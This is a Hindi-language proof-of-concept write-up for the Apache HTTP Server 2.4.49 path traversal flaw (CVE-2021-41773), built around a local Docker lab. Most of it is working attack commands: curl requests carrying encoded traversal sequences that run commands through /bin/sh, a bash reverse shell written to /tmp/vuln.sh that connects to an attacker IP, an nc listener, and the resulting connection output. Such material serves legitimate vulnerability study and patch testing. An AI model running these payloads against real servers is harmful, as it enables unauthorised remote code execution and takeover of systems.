
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Apache HTTP Server 2.4.49 के पथ ट्रैवर्सल भेद्यता (CVE-2021-41773) के लिए रिमोट कोड निष्पादन और रिवर्स शेल प्रदर्शन के साथ।
Apache HTTP Server 2.4.49 में पथ सामान्यीकरण में किए गए एक बदलाव में एक दोष पाया गया। हमलावर पथ ट्रैवर्सल हमले का उपयोग करके URL को Alias-जैसी निर्देशों द्वारा कॉन्फ़िगर किए गए निर्देशिकाओं के बाहर फ़ाइलों पर मैप कर सकता है।
यदि इन निर्देशिकाओं के बाहर की फ़ाइलें सामान्य डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन alias पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं, तो यह रिमोट कोड निष्पादन की अनुमति दे सकता है।
यह समस्या ज्ञात है कि इसका वास्तविक दुनिया में शोषण किया जा रहा है।
यह समस्या केवल Apache 2.4.49 को प्रभावित करती है, पिछले संस्करणों को नहीं।
पथ ट्रैवर्सल हमला (जिसे डायरेक्टरी ट्रैवर्सल भी कहा जाता है) का उद्देश्य वेब रूट फ़ोल्डर के बाहर संग्रहीत फ़ाइलों और निर्देशिकाओं तक पहुँचना है। "डॉट-डॉट-स्लैश (../)" अनुक्रमों और इसकी विविधताओं के साथ फ़ाइलों को संदर्भित करने वाले चरों में हेरफेर करके या पूर्ण फ़ाइल पथों का उपयोग करके, फ़ाइल सिस्टम पर संग्रहीत मनमानी फ़ाइलों और निर्देशिकाओं तक पहुँचना संभव हो सकता है, जिसमें एप्लिकेशन स्रोत कोड या कॉन्फ़िगरेशन और महत्वपूर्ण सिस्टम फ़ाइलें शामिल हैं। यह ध्यान दिया जाना चाहिए कि फ़ाइलों तक पहुँच सिस्टम संचालन अभिगम नियंत्रण द्वारा सीमित है (जैसे Microsoft Windows ऑपरेटिंग सिस्टम पर लॉक या उपयोग में फ़ाइलों के मामले में)।
इस हमले को "डॉट-डॉट-स्लैश", "डायरेक्टरी ट्रैवर्सल", "डायरेक्टरी क्लाइम्बिंग" और "बैकट्रैकिंग" के रूप में भी जाना जाता है।
$ docker-compose build
$ docker-compose up
इसकी पुष्टि करें
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
पीड़ित : localhost:1234
हमलावर : 192.168.1.12
दस्तावेज़ीकरण के अनुसार, यह एक दोष है जो हमें रिमोट पर कोड निष्पादित करने की अनुमति देता है (RCE)।
हम cgi-bin फ़ोल्डर के साथ curl करके इसका शोषण कर सकते हैं।
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
आइए देखें कि क्या हमारे पास वास्तव में कमांड तक पहुँच है, मान लीजिए id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. रिवर्स शेल
हम पीड़ित के सर्वर पर एक bash फ़ाइल बनाकर एक रिवर्स शेल का परीक्षण करेंगे।
आइए PayloadsAllTheThings रिपॉजिटरी पर पाए जाने वाले bash में रिवर्स शेल को एक उदाहरण के रूप में लें।
यहाँ एक उदाहरण है :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
आइए पीड़ित की मशीन पर /tmp/ फ़ोल्डर में vuln.sh फ़ाइल बनाएँ !
इस फ़ाइल में हमारा रिवर्स शेल होगा जिसे हम दूरस्थ रूप से चला सकते हैं। यह हमारी स्थानीय मशीन पर पोर्ट 44 से कनेक्ट होगा।
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
आप cat कमांड के साथ फ़ाइल की सामग्री जाँच सकते हैं
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. ncat के साथ लिसनर
आइए स्थानीय मशीन पर लिसनर बनाएँ।
$ nc -lvnp 44
अब केवल रिमोट फ़ाइल को निष्पादित करना बाकी है।
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
प्रतिक्रिया :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.